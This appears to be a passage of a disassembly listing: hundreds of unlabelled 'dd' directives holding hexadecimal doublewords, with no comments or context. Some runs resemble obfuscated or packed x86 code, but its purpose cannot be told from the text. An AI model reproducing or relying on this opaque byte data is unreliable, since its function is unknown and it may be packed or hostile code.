		dd 0F12CE618h, 0AA385ACh, 6F96BD78h, 292FACADh,	9C2426ECh
		dd 1C5h, 5ED38E13h, 87FCA543h, 0B429C86Ch, 0DE531299h
		dd 0A7F22C3h, 2BCCD7C9h, 6CF61186h, 9D213CB1h, 0A54863D8h
		dd 0EB8787FCh, 48AF0FD5h, 0BA92473Fh, 7BD9F273h, 0B15DDBA0h
		dd 4A52968Dh, 0E452C0CDh, 0D0089FBDh, 0A0D2385Eh, 6EA81DCCh
		dd 600FD655h, 0A217DE61h, 0AAF4F68h, 0DE00708Dh, 0D78648B0h
		dd 31F0731Fh, 7233B64Fh, 22A73B54h, 3B2D99Ch, 59F0738Eh
		dd 6E2F11D4h, 94AD6547h, 0E09F4E13h, 2C46C259h,	694BF68Ch
		dd 0A5842BA8h, 0D4FBA63Ch, 0C8798FADh, 483F43B1h, 92B32103h
		dd 4E179A4Ch, 4E579930h, 0D0B8100Fh, 68D1AC21h,	0F2D7ED0Bh
		dd 2E39257Eh, 0CB6E07E9h, 13AF482Ah, 4AEB8466h,	3657C5A7h
		dd 2F2C16F0h, 0B1C277E9h, 764C7D93h, 0B7D43307h, 0CE8F7130h
		dd 674A9AB0h, 0C70C26CBh, 6D102BA0h, 0A549E2C4h, 8FB01E00h
		dd 56149749h, 0CB66A440h, 466DB226h, 0F87E97D1h, 72C78635h
		dd 74CDE301h, 9C2CE96Fh, 0EB013957h, 20AD5EF9h,	5F479DB3h
		dd 0CA0F20ADh, 80621156h, 0BB9D44E7h, 74E62C4Dh, 758EACC5h
		dd 11D057F6h, 98476E2Fh, 0F40A427Ah, 20AD5EF0h,	9A222166h
		dd 8938F9DBh, 0CB66B48Dh, 1499B226h, 0E92EA251h, 0D3A09974h
		dd 22B29FB5h, 9CD420B3h, 6B895E86h, 5ADBF814h, 4DC17097h
		dd 8EA8F30h, 3A64847h, 57396021h, 57A3BBEh, 0BC9E47EAh
		dd 0E4CC126h, 0E228251Fh, 0C6E48D30h, 0BC6B0AADh, 0F1892C47h
		dd 0B09257D8h, 0C6F1F3EFh, 206509C8h, 0FF7E17F9h, 3214D95Eh
		dd 0A389E71Bh, 0D1F873B8h, 395AC8AAh, 0F7BE41F3h, 1DC46782h
		dd 0BB33Bh, 21B0000h, 34B8B77Eh, 7F06BE6Dh, 33EE73A7h
		dd 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h
		dd 9F46E57Eh, 0E18024BDh, 1FC666FFh, 7F68003Dh,	8900003Dh
		dd 0E389241Ch, 4C381h, 0EB830000h, 241C8704h, 0E289525Ch
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68242C89h,	73A7h
		dd 68243C89h, 623CD10h,	3C8B545Dh, 4C48124h, 55000000h
		dd 92242C81h, 8F19262Fh, 47810847h, 262F9208h, 2434FF19h
		dd 4C4815Fh, 8B000000h,	8957242Ch, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 0A0D9E95Ch,	1BC6FFFAh, 98945D4Eh, 4F17E463h
		dd 23DE4AB8h, 0FFC50306h, 0A3D19EE0h, 6C643708h, 0FDB3CD7Fh
		dd 732EAE46h, 5841C25Eh, 36BA8567h, 0DCD77F79h,	4A386E14h
		dd 0F9864546h, 0C622CA5Eh, 7530671Fh, 0BB4A445Ah, 0A6A02546h
		dd 0CE81Fh, 0BEBE0000h,	4D77EFD7h, 0ADE6A43Dh, 0F381A5DBh
		dd 435B9EC9h, 0CEF9B859h, 0C18171AEh, 5BF3h, 9056CB81h
		dd 4BF403Ch, 813041D9h,	41C22AEFh, 8BC68B30h, 53D0B811h
		dd 0C2815FE3h, 1113290Bh, 2870Fh, 94B70000h, 6913C281h
		dd 7E87A6Ch, 3C000000h,	0A8A21CB5h, 66510097h, 61AEC381h
		dd 0EA815E5Eh, 77A29C0Eh, 52DA8B66h, 83018FF5h,	0BF0F04E9h
		dd 1EF83DAh, 0FFB5850Fh, 0EE9FFFFh, 53000000h, 62C745FDh
		dd 1A7F1189h, 0FE36D3CDh, 0CD08EBF6h, 0C341Eh, 0E9023F00h
		dd 0C8Bh, 23E13168h, 64BEE906h,	3068FFFBh, 0E90623E2h
		dd 0FFFB64B4h, 23E3DE68h, 64AAE906h, 0B068FFFBh, 0E90623E4h
		dd 0FFFB64A0h, 23E57768h, 6496E906h, 8068FFFBh,	0E90623E7h
		dd 0FFFB648Ch, 23E82F68h, 6482E906h, 0AE68FFFBh, 0E90623E9h
		dd 0FFFB6478h, 23EAAC68h, 646EE906h, 0BBB1FFFBh, 0ABADFE4Eh
		dd 0A9ADFE4Eh, 0AAAF0050h, 0A9ACFD4Dh, 0BF37FE4Eh, 0D828CF86h
		dd 0D727E487h, 0D626D186h, 0DC2CE585h, 118C3DBAh, 611AAE1Bh
		dd 0AFBB1C89h, 9FCB0062h, 0FB9D00B1h, 17D51C8Dh, 0AB5D6FBFh
		dd 0EEC5647Dh, 2F9B6868h, 9708AE1Dh, 88A1DD3Fh,	8D6E64D7h
		dd 0BDEEAC1Ch, 9373EC0Ch, 4CAE6C1Ah, 9349C63Dh,	5A31CC1Ah
		dd 0C2CBFCFBh, 7829C8D8h, 1A934905h, 0A21DCE4Dh, 0F21A9349h
		dd 0B75DDC34h, 6D9CE929h, 3FC1849h, 0F5E7E326h,	29h, 1A0EFAA8h
		dd 0D3B8FC01h, 198CAE64h, 49849E8h, 4C1A9352h, 0A61D2C8Eh
		dd 0AC1A9356h, 3D36B3A7h, 2FE7E2A8h, 0B8h, 0CBEEF3E2h
		dd 0E41CD544h, 0C9A178A9h, 0AE1DE40h, 61BB854Bh, 60ED165h
		dd 0AFA67DAEh, 0B9B1E648h, 0B1B9EE50h, 0ABDD0858h, 5D1C8D77h
		dd 63B4040Dh, 0B2A80A07h, 7B7CD946h, 6C85DD19h,	937AADBBh
		dd 9DEDAB1Ah, 92AB9D8Bh, 0B3CD40E1h, 0A9C2801Ch, 5B7483D2h
		dd 0BD900BBCh, 22E010B2h, 8BCA1BF1h, 2A4BB16Ch
		dd 1AE26F53h, 0A58CCh, 25E28A00h, 27D484D5h, 27D086D7h
		dd 2CD386D7h, 2DCA8BDCh, 659E16DDh, 66B707F0h, 69BA0A05h
		dd 68B909EEh, 93B50502h, 1AFA6516h, 623A1AAEh, 5D9ABBF5h
		dd 11FE6D44h, 0B1B90AE0h, 50EF0858h, 0EC17E079h, 1C8DFB71h
		dd 0E3D203C1h, 11A0EFAh, 66C82F2Ah, 0BB5AF92Ah,	0FBF06B1Ch
		dd 0B6B41C8Dh, 85D69459h, 87C325D2h, 0D01BA556h, 66051A93h
		dd 934C98Fh, 1A93D096h,	0A4EF20DEh, 0E7584E6h, 41A93D0h
		dd 958E1BFFh, 87E7E32Ah, 0CEh, 62AFBB3Ah, 5EFE0300h, 0D31C023Bh
		dd 72E3BAEBh, 53676C85h, 0F58D6557h, 1221093Ah,	1C8D2C66h
		dd 2336D892h, 0E63E7ADCh, 0EC254596h, 0B464948Ah, 2F9AEA9Bh
		dd 23DA1A93h, 2864C633h, 36B2B7D0h, 5DF05AD9h, 0B6C89ECFh
		dd 0E6BDD642h, 0BC5B8C73h, 0E611461Dh, 19B404B5h, 0F6B41CB3h
		dd 0A84F06DDh, 0A94E0758h, 52D818EEh, 1F6D356Fh, 959h
		dd 0E434E18Bh, 0E838C593h, 0EA3ABF97h, 0E737C099h, 0E838BF96h
		dd 0E570A921h, 0FA71C212h, 0EB6CBD0Dh, 0FB6FC010h, 1F9CBE0Eh
		dd 0AE19F36Eh, 0FE6B431Ah, 0C03B1CF3h, 5809225Eh, 1C8DFBE5h
		dd 673E6F2Dh, 51F009EEh, 8DFB3DA0h, 86B7751Ch, 0FE0B5FB0h
		dd 0ADBE95AEh, 0A507F069h, 73AF1169h, 0AFBB5342h, 9FCB0062h
		dd 18102272h, 6E661730h, 5A1A93EDh, 0C628D583h,	500E598Ah
		dd 58B1B9EEh, 8CEFA03Fh, 0C41A93EDh, 0AEFFD506h, 0E2F153BCh
		dd 9DD5CE5Ah, 99D1C9D2h, 0E4193FD1h, 9EEE4682h,	92F41D4Dh
		dd 0E9C21D83h, 3921A491h, 0F96979F1h, 5C68BF34h, 3DEED251h
		dd 3DEF7292h, 264495E5h, 0FC7887E9h, 86E16A5h, 97D31BFFh
		dd 2F26D881h, 0D90E70C8h, 0CA227A7Fh, 0C841297Ah, 69B87066h
		dd 34163280h, 92AB0316h, 0F74C17E1h, 3422F997h,	904792C3h
		dd 93CF31C6h, 4C56C97Ah, 0E09E8F0Fh, 0F2263888h, 0E3B2F31Fh
		dd 0EC288A87h, 0FBEECA6Dh, 4FD98AA3h, 31891124h, 0E47EE192h
		dd 0B162852Ch, 852CE44Eh, 4503C886h, 0F20BC914h, 0E43FA253h
		dd 0B977852Ch, 0DA0BF068h, 381EF5F2h, 67DD8EBFh, 29852CE4h
		dd 62D9A52Dh, 7C7503C7h, 0C88DC224h, 33036108h,	7CD429E3h
		dd 4A30191Ah, 0F3E7ECFBh, 38A354F3h, 78852C14h,	746D89BAh
		dd 66545F6Ah, 4BFh, 0FB7EE119h,	0E9501C8Dh, 0C31C8DEBh
		dd 1C8DE8B4h, 8DEFD74Eh, 9534D31Ch, 8DEF79E4h, 0D0FBB91Ch
		dd 1C8DEF6Dh, 1EB6E7A5h, 74253EEAh, 1A93FC58h, 917F3AF8h
		dd 8469320Bh, 7AB6EBCh,	8FDD0000h, 77E13282h, 75E13282h
		dd 76E33484h, 6DE83989h, 0FB733A8Ah, 146493C2h,	1B6BA8C3h
		dd 1A6A8DCAh, 1868A1C9h, 55C879F6h, 9D1AAE18h, 54F358C5h
		dd 8DFB38A3h, 917EEC1Ch, 702EF32Fh, 502683Fh, 0C7BADA3h
		dd 8DFBE05Bh, 46B1A41Ch, 526BC381h, 0FB9F02B3h,	19D71C8Dh
		dd 869849E8h, 0CA1AAE24h, 9EA3BC0Ch, 9BD27FCEh,	0BEF324B7h
		dd 98807817h, 0A16CE7Fh, 0A8661CB0h, 3A368A8Fh,	0A44B3BEAh
		dd 0C79E3B73h, 0C80466A3h, 923CE697h, 0F92FBFADh, 0DF85364Fh
		dd 9DA1314Bh, 66EFC6DFh, 0C2F32F91h, 0A7D8DDDAh, 6820D925h
		dd 24D46C9Dh, 653CDBF4h, 6EAA0C05h, 0A3EF8C3Dh,	0AD6BDB53h
		dd 64ADBD94h, 6AA7C314h, 0F27D6BAFh, 28763E2Ah,	6D9h, 64B4610Bh
		dd 68B84513h, 6ABA3F17h, 67B74019h, 68B83F16h, 65F029A1h
		dd 7AF14292h, 6BEC3D8Dh, 7BEF4090h, 9F1C3E8Eh, 0AE1F73EEh
		dd 7EEBC31Ah, 0C44F1CF3h, 0D43D2D62h, 0ADDE3672h, 1C35E315h
		dd 93ED656Bh, 0FC05F1Ah, 1A93EDACh, 0AAF526E4h,	0ED077A2Bh
		dd 914F1A93h, 0C8A2D739h, 0D687263Fh, 1A93ED6Bh, 0D4BCEDABh
		dd 60605A63h, 0EDAD10C1h, 27E51A93h, 7EAA5EF6h,	0FBDCB465h
		dd 45FC1C8Dh, 768FE710h, 0E143B89Fh, 0F850ABACh, 5FC6F1C7h
		dd 3910B1D6h, 10B1D6C6h, 0C8E157C1h, 92090717h,	298B4916h
		dd 0EDF7A41Ah, 0A9C1980Eh, 0AE060367h, 2EDF104Ch, 0F1120848h
		dd 6621EE7Ch, 7573EFBEh, 1249975Fh, 44000006h, 4A9BEB28h
		dd 2 dup(4899E90Eh), 4596E611h,	0D097E710h, 0C1361F58h
		dd 0C04B2071h, 0C3381F70h, 0BF482273h, 1FD04D6Fh, 1AAE1EBCh
		dd 0FAAF1CF4h, 50011A0Eh, 1AAE244Eh, 0FB00572Eh, 0E84AADAAh
		dd 72307BACh, 828FDB10h, 18E92032h, 9F7B6799h, 0AE1068FDh
		dd 1B3B12B1h, 1748B3DEh, 0CA881AAEh, 5FA8C299h,	63ACBE0Fh
		dd 719ECC01h, 362CAF0Fh, 8F1F292Eh, 247F3B21h, 0C14E1CF3h
		dd 0D8815871h, 0D9D2EE1Fh, 0CBE7DE22h, 1D7h, 1A0EFA7Eh
		dd 0ED845001h, 0FEBC1A93h, 0AD4A0EE5h, 1C85947Ch, 0D01A93EDh
		dd 0D70C6E89h, 69187A7Fh, 0CB479E84h, 0AF595248h, 0BCC16079h
		dd 0CDFC4940h, 108BB6FAh, 601A937Dh, 21D271A2h,	1C8D6BD7h
		dd 2E7FCF8Dh, 3C71D33Ch, 7F91E12Eh, 0E7869F89h,	67249748h
		dd 0AE6C10B1h, 7A2CCC7Dh, 1D816AFh, 49C6A46Ah, 0F153ABE7h
		dd 7B3984B5h, 41930A19h, 94990ED7h, 19196AEh, 84F3075Bh
		dd 0A69FBBECh, 1DBA748h, 0AF12C362h, 0E70ED7E3h, 0E383FE29h
		dd 15D30ED7h, 68DCE4h, 0FA8F0000h, 0FC011A0Eh, 0EEABDDF1h
		dd 0D386D73Ch, 0AB5CFB2Ch, 1A93F411h, 303FA15Fh, 1A93B4C9h
		dd 0AE5FD97Dh, 1A93B433h, 0B6DC583h, 137582D6h,	27D086D7h
		dd 0E7DBC4C5h, 968C91A0h, 0E3061811h, 0B99C73E7h, 86E81145h
		dd 0B9C1F24Ah, 0E6h, 0F16C1DBCh, 0ED1A93A0h, 93A0C13Ch
		dd 8E53111Ah, 0AF12E9A9h, 19717C08h, 0AFBBF9E8h, 0E6724962h
		dd 0C3F8E011h, 0CE036592h, 0DC11739Ch, 2ACD888Eh, 1B348CC8h
		dd 0FB50CB7Ch, 0BBA01C8Dh, 0E3562404h, 4B7CD46Fh, 161E4A75h
		dd 63021C8Dh, 8D164FB2h, 78C9871Ch, 7AB618F3h, 0FF87249h
		dd 0CD7BADBFh, 0F96415B4h, 391C8D16h, 0CB2C2A7Bh, 5DFC2D69h
		dd 5F80B9BEh, 0C909FED6h, 51D7E798h, 5B191AADh,	0DEA6B42h
		dd 0EE96CBDh, 3490DB53h, 60AE7669h, 409h, 94E4313Bh, 98E81543h
		dd 9AEA0F47h, 97E71049h, 98E80F46h, 352059D1h, 4A2172C2h
		dd 3B1C6DBDh, 4B1F70C0h, 0CF4C6EBEh, 0AE1CA31Eh, 0AE1BF31Ah
		dd 0BD3A1CF3h, 5EA0B58Ch, 619DFFF8h, 268B909h, 9C4DEC05h
		dd 1C8DFB21h, 5B9CBA71h, 3465BDF9h, 0AFBBF55Eh,	9FCB0062h
		dd 0E1B92272h, 1C8D7B7Ah, 8D7BED54h, 5702D91Ch,	0D1023EA0h
		dd 2032CF39h, 0D8CD6861h, 803537CFh, 4EFE6101h,	673EDDF6h
		dd 28D90AEFh, 1AAE9716h, 443A9C5Ah, 744B64D4h, 77B315E2h
		dd 0EF6A746h, 4E1CB774h, 0E637D497h, 7530886Fh,	6F5692C3h
		dd 5A44925Ah, 8C000003h, 92E333E0h, 2 dup(90E131C6h), 8DDE2EC9h
		dd 18DF2FC8h, 9EE67A0h,	80368B9h, 0BF067B8h, 7006ABBh
		dd 671895B7h, 1AAE13F4h, 0BBF7643Ch, 30062AFh, 41D5CFEh
		dd 3C6DCE9Ah, 0F30C0565h, 73C44F1Ch, 14EA1BF8h,	9221602h
		dd 935F9858h, 0E1FAB81Ah, 46A84F0Ah, 0E2F1D90Ah, 1A932D7Bh
		dd 6DCF3C2Fh, 76D83338h, 43827881h, 0BE4B2F34h,	0E7E282C5h
		dd 6DD08120h, 0A51A9325h, 378F68EEh, 258770E6h,	44B0B8E9h
		dd 63000000h, 11A0EFAh,	69CB2C2Ah, 0BE5DFC2Dh, 2A8C71E7h
		dd 399B64F5h, 0C374A5FDh, 1A93D079h, 0A479277h,	0A80C3F49h
		dd 78DFEE50h, 6E1A93F8h, 0FBF47169h, 0EDE7E351h, 0F3h
		dd 3DA051F0h, 751A93F4h, 0BB9786B7h, 0AA4962AFh, 8DFB86F9h
		dd 0D491141Ch, 0B14AD07Bh, 15FD2EECh, 0E0294118h, 3A11427Eh
		dd 457ADC1Bh, 34D3EC25h, 8DBC1883h, 6D8ACC1Ch, 9166F1A8h
		dd 0EB200839h, 1742927Fh, 1C8DB86Dh, 0E636D397h, 27D2ECDh
		dd 981C8DB7h, 0CB7730A5h, 31EFB46Eh, 0C8412900h, 0D8926966h
		dd 0B266FE2Fh, 5CBC6D86h, 7C1A93C5h, 3DA0A5BEh,	0FEF1FF48h
		dd 0FAAA6B3h, 77DFAC90h, 0AA5E7046h, 0CA2CE585h, 0D638C195h
		dd 0D1EA429Ah, 0B3351820h, 3E2D041Ch, 0C1726FD1h, 10B2F55Eh
		dd 4F80D896h, 562D4604h, 57A8F8FFh, 43EF9FEh, 0A96F52F2h
		dd 1DB93E1h, 5F0D0000h,	471162B2h, 451162B2h, 461364B4h
		dd 3D1869B9h, 2BA36ABAh, 449463F2h, 4B9B78F3h, 4A9A5DFAh
		dd 489871F9h, 85F8A926h, 0CD1AAE12h, 9ABB88F5h,	0AEBC0D5Dh
		dd 0FAA81161h, 50011A0Eh, 1A93D0CCh, 0F41D4D04h, 54055692h
		dd 0E2F153ABh, 1A93D07Bh, 6E766C71h, 1841BF97h,	0E9417DDFh
		dd 0FE1A4B87h, 0E7E32A05h, 0CCF7h, 0DF5FA00h, 5415D382h
		dd 0F37E6D9Eh, 8F5B11EEh, 0D4C8C6C6h, 0DB30AFD9h, 9C73A451h
		dd 85281ACEh, 615D96F0h, 0E372A709h, 3324FB14h,	0A0AF97C8h
		dd 1C8DAFF4h, 6DBD4A20h, 5FC14E1Ch, 7089BF69h, 93A341BFh
		dd 0A8C17F1Ah, 0D6F88D1h, 0B1CAA0D1h, 99FE6112h, 78361A93h
		dd 9933AE5Fh, 0C5831A93h, 1C0CFC94h, 14C56403h,	1A9399A9h
		dd 49FA2BE9h, 1CB33090h, 320922E0h, 0FE9DCE39h,	2CCF885Fh
		dd 0C63124FBh, 0C7302576h, 52EF400Ch, 0B705CD6Fh, 0DDh
		dd 60B05D0Fh, 64B4490Fh, 66B64313h, 6BBB4415h, 6CBC3B1Ah
		dd 61F42DA5h, 76F54696h, 5FF84999h, 6FFB4C9Ch, 0B33052A2h
		dd 0AE119F02h, 92FFD71Ah, 0D5D9ABBh, 1161AEBCh,	4F1CF3A8h
		dd 0D52662C4h, 734A7B84h, 0FC011AF7h, 0F5A6A79Ch, 1C8D998Ah
		dd 58D0CCAh, 0E9D10223h, 959B6B4h, 0FE1701F7h, 0AE09754Dh
		dd 0EF9E831Ah, 0FB6617ECh, 3B1AA94Dh, 0D46AFE7Dh, 0AF4C0C5Dh
		dd 0AAC0F557h, 0AEBC0D5Dh, 0B40CEF68h, 3F505552h, 95218145h
		dd 1C2CDD0Eh, 9410BEF6h, 3AA556F5h, 7A0CB10Ah, 98828BBCh
		dd 9DED1A50h, 8FF11E4Ch, 96F8FF5Ah, 0AEB6AC95h,	457693D7h
		dd 0C313FC6Eh, 0B482D3AAh, 0B10A9803h, 0C21AD80Ch, 1CF32460h
		dd 6A8DC84Eh, 0A62B012h, 65000000h, 0D133DC8Eh,	4F756495h
		dd 64B1BB80h, 749DCD02h, 7D7ADD12h, 8A85E61Bh, 9562F328h
		dd 0A057FE33h, 0A750093Eh, 0B1461045h, 0B93E1A4Fh, 8951C257h
		dd 4C181E1h, 83000000h,	0C3304E9h, 240C3124h, 5C240C33h
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51241C89h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 0B8502404h,	720B04FBh, 4996BD55h
		dd 93BB6C68h, 311446ACh, 0C3295DEBh, 28536858h,	24890000h
		dd 24048324h, 0BA525804h, 3184051Eh, 516F281h, 0C2013184h
		dd 0FF5A1A89h, 83582434h, 34FF04C4h, 0C4815B24h, 4, 0FB5843E9h
		dd 48352AFFh, 0B8E9C51Dh, 623EBAEh, 0E0FFC503h,	671DE1F3h
		dd 70589BA9h, 3F67E074h, 39475540h, 120FA75Eh, 11C08D1Eh
		dd 4BA9E635h, 8D65CE4h,	0ED308D8Dh, 6A0623h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F73C3h
		dd 758D89FAh, 6A061E23h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1C0BC350h, 0E9DE3538h
		dd 8, 1993C66h,	0A64C2711h, 324D85C7h, 6D20061Eh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 1E21CC3h, 1E33A18Dh,	6985C706h, 61E31h, 66000000h, 51CDADBBh
		dd 0F840Fh, 0AE90000h, 0BA000000h, 51DB39DDh, 0B6EAFEC2h
		dd 0B5FF5ED6h, 61E13E5h, 89D2B70Fh, 1E26A585h, 0B995FF06h
		dd 81061E16h, 0CE4F29DAh, 0FF006A7Ch, 1E26C195h, 0EBC08B06h
		dd 5D6F546Dh, 2AC9250Bh, 6BC9C491h, 840491EAh, 0FE47CFFBh
		dd 0EC9E1995h, 84EC472Dh, 3BBF49A3h, 91671DA2h,	307695Fh
		dd 2AB32DA0h, 0F322BE63h, 9101192Eh, 3D7FEAD1h,	0F61C49EEh
		dd 99AF88CFh, 0F4B7A842h, 0F1E34551h, 4F6A1698h, 0EDA4720Eh
		dd 23846C79h, 35DE3B9Bh, 3B319EA4h, 2537662Ch, 672D0C3Dh
		dd 210A55A1h, 74F04DD0h, 79EB9F19h, 0EF9E7D00h,	0FE2218Ch
		dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
		dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h,	729EBD8Ch
		dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h,	94A19E96h
		dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
		dd 9BB7D65Eh, 0AFF600B7h, 9F8995ABh, 7156F000h,	0BEB3D7C7h
		dd 56711800h, 0E2ADC4D7h, 7E8D8773h, 0EE6E914h,	0FC680000h
		dd 0E90623EFh, 0FFFA9173h, 23F0C768h, 9169E906h, 0A968FFFAh
		dd 0E90623F1h, 0FFFA915Fh, 23F2E268h, 9155E906h, 6C68FFFAh
		dd 0E90623F3h, 0FFFA914Bh, 23F42C68h, 9141E906h, 0FC68FFFAh
		dd 0E90623F4h, 0FFFA9137h, 23F5BF68h, 912DE906h, 9868FFFAh
		dd 0E90623F6h, 0FFFA9123h, 23F73D68h, 9119E906h, 7468FFFAh
		dd 0E90623F8h, 0FFFA910Fh, 23FAAF68h, 9105E906h, 7968FFFAh
		dd 0E90623FBh, 0FFFA90FBh, 128732CFh, 3BB071F7h, 60D59C20h
		dd 8AFFA645h, 0B62BCE6Fh, 0F7788375h, 0A2BD32h,	21C5E055h
		dd 49EC077Ch, 973333A8h, 48C06381h, 3EF33Fh, 640DAFC8h
		dd 1FC5C182h, 373F48C1h, 738B43F2h, 12D359F0h, 0CD7009EBh
		dd 55ED0624h, 5605C6A8h, 0F48EA7E1h, 99AF6749h,	3924D34Bh
		dd 0F09FC60Bh, 4D6B0831h, 1DC7DD15h, 393924D3h,	0D2FDE7FDh
		dd 14593924h, 0A74EEEEDh, 0F05DFCF8h, 9EE33F42h, 0B5BA26BCh
		dd 55F23306h, 0EDA2A00Fh, 2C5B87E3h, 0A5000000h, 0CFED86B3h
		dd 42FE4CB9h, 25074C3Fh, 6A7518Fh, 2ACB7233h, 6613AF48h
		dd 0AFF51684h, 0DC22BFD5h, 0E3FF6F6Dh, 0DD2887h, 54720000h
		dd 0E9FFBB3Bh, 3924D2FBh, 0DEF165Bh, 1B9E9D4Ch,	0A7C0785Ah
		dd 0AEAD5C05h, 2D466409h, 5537E68Fh, 967839BCh,	51C347DEh
		dd 29C2E87h, 0BAD15453h, 2AF4BB7h, 3FBFBE98h, 0C6DE537Ah
		dd 3925B813h, 0E1561FA2h, 758B23C6h, 3925AF6Fh,	997BA2E7h
		dd 5A78F940h, 43BC8544h, 0E1569B3Fh, 203E3306h,	342FCFE8h
		dd 0E2D7C4ABh, 55375E2Dh, 31E9E594h, 9139287Eh,	93152E4Ch
		dd 112FF0D2h, 0E725E9FBh, 79286D2Ch, 0F8BD425Bh, 22C76883h
		dd 2A1A1D60h, 67EFF1ECh, 0C6Bh,	0BA2FEA77h, 0E358199Fh
		dd 87D24C8h, 32A74EEDh,	5ED39617h, 9F202B1Dh, 0B84A65DAh
		dd 0C96D88FDh, 1194AF24h, 3FDBDB50h, 48C1BB29h,	0EE69B3Fh
		dd 112FF273h, 0AF6AF8h,	4CCD708Bh, 68290BB6h, 0B3F8CC41h
		dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h,	978BE5Bh
		dd 87E4000Bh, 0A3C4h, 0F0730E00h, 31B64F31h, 0E5F48A6Ch
		dd 0D03924D6h, 0F40F842Dh, 75CEB071h, 5991AFC4h, 0CED90B21h
		dd 387D3924h, 0DB3C8D89h, 213A3F42h, 34F5D79Eh,	0C1E40016h
		dd 2D723306h, 50C50A7Eh, 91AFC475h, 276A8E7Bh, 0C0D16839h
		dd 643226AFh, 1055C978h, 9154D9F2h, 0FD65A73h, 48BD6C2Dh
		dd 23E5882Dh, 0EC295C4Ch, 0A030B8BAh, 0AC00000Bh, 0DAF56A17h
		dd 31E9352h, 304BC061h,	5873E889h, 5C9D12D7h, 1BDE5F6Ah
		dd 4AF78BA6h, 7134BAD5h, 975EE1FCh, 70862222h, 3F48C274h
		dd 73552DE2h, 9FBA2FF2h, 0CE0551Ch, 1331F073h, 0D31FC5DBh
		dd 16AC3924h, 53DAF76Bh, 0C8EFB092h, 477F3719h,	24D2B331h
		dd 0AF5EA339h, 0EF640DB0h, 0AF9150D4h, 5DD29316h, 0B188DFA7h
		dd 516AA2C0h, 9A8A07AEh, 5727FA8Bh, 170A06B5h, 0F3F4374h
		dd 3423C1D7h, 0EE333307h, 0C3A54CEFh, 9ADF5302h, 64B72AC0h
		dd 0EB4E2A91h, 0F3526886h, 7B419B2Ch, 3D300DE4h, 6A198683h
		dd 40A4BAF6h, 16355F09h, 6FC8AAD1h, 758BA9CAh, 3B80813Ch
		dd 38516FB4h, 37CEECB5h, 0ACC93861h, 0FC830057h, 7EC0463Ch
		dd 0A7C237E6h, 3DE08504h, 53355416h, 0EFF1EE80h, 0ABE67h
		dd 7C39CA00h, 0A54CEC07h, 0D2931530h, 0FABB425Dh, 20C56A85h
		dd 6D786AABh, 95B025C8h, 0C0DB500Dh, 0EB067B3Eh, 3434A948h
		dd 0C3628298h, 3FF43F48h, 31F07367h, 465F974Fh,	0E400FCA1h
		dd 723924D2h, 7ABF7E2Dh, 8AA3DBF9h, 0BD4140E5h,	644D49F8h
		dd 0E23F42D5h, 702827C9h, 18CFD810h, 4708EA11h,	6ADF2498h
		dd 0B273AA8Fh, 0D08410C4h, 0BDF5133Ah, 0AE5D04A4h, 246E5BB2h
		dd 26084D39h, 0E80B5090h, 79BF5C2Ch, 8A5A70A8h,	0CC2CE80Bh
		dd 1E1CD887h, 0D78E029Bh, 49h, 9786B321h, 0D28BC6DFh, 516F9698h
		dd 41F0B138h, 638B0D23h, 0F7333F43h, 6CA03E1h, 0E70E5333h
		dd 930EB0C9h, 0AD6E5011h, 0E9F91186h, 0DE3306C9h, 0EB259A5Bh
		dd 0D7862FD2h, 713D56D8h, 6F43F16Ch, 68F0D2F9h,	9DFh, 0ED86B336h
		dd 0C138B9CFh, 0F3383F48h, 7839BCD5h, 9C45E803h, 0C3D861BAh
		dd 3D5B823Fh, 24D25D27h, 0D6F43939h, 38E173Fh, 56050763h
		dd 0D59C1F38h, 0CA24560h, 0B5B170F3h, 2CDCD92Fh, 0C0650A27h
		dd 37907299h, 3D537102h, 32FAEC64h, 0B665276Ch,	98E601B8h
		dd 9850E96h, 0F0910000h, 37B5D045h, 5ADEF96Eh, 6C0B269Bh
		dd 0B03550C5h, 453778EDh, 7BF0B53Ah, 0A217C260h, 0CD42E787h
		dd 0F1660FB2h, 0A53F55F1h, 0B13F48C4h, 6A7624FCh, 993924D2h
		dd 3F8F7DA0h, 8E4AD2BFh, 92304967h, 0A247E8E7h,	3250FFC0h
		dd 494A701Ch, 9319363Fh, 8CB372FAh, 8B2E4765h, 7E94CCEAh
		dd 33016E66h, 87FCABF0h, 4628C96Ch, 9274CEDh, 0A6B3AD1h
		dd 72512ECBh, 0EFEAC7C3h, 0C106391Eh, 25DD16FFh, 0AE3638ECh
		dd 8FBh, 4ABF7A07h, 73E8892Fh, 980DD458h, 0C237FE7Dh, 0EE6306A7h
		dd 0FB0BBADh, 48DAF56Ah, 79FD188Dh, 81243FB4h, 0CF6B6BE0h
		dd 48C62BB9h, 9E762B3Fh, 0D759F073h, 446B2C0Eh,	0CA6B0D26h
		dd 9A84FE8h, 903F6627h,	0D39215AEh, 0EDB1EB5h, 80D3E08Bh
		dd 6869EFD1h, 0CBB5B322h, 136E81C5h, 0B8000004h, 0CFED86B3h
		dd 48C0DFB9h, 3CC2DF3Fh, 1B345279h, 0BDB58487h,	0B4F10025h
		dd 3BEAAB8Dh, 0C061041Dh, 0E48D304Bh, 4E746C02h, 0AA8F3301h
		dd 0C9AB4AF1h, 0ADC3E108h, 391F5204h, 0BCD20A42h, 2CE34D28h
		dd 0F7EDE92Eh, 5F2CE34Ch, 4CD70D23h, 3A7F2CE3h,	0ABF06413h
		dd 26403EE9h, 7E0608ECh, 83Bh, 8AFFBA47h, 0B328C96Fh, 0D84D1498h
		dd 2773EBDh, 2EA346E7h,	4FF0FBEDh, 881A35AAh, 0B93D58CDh
		dd 0C1647FF4h, 0FABAB20h, 48C6EBF9h, 0DEB66B3Fh, 4F31F073h
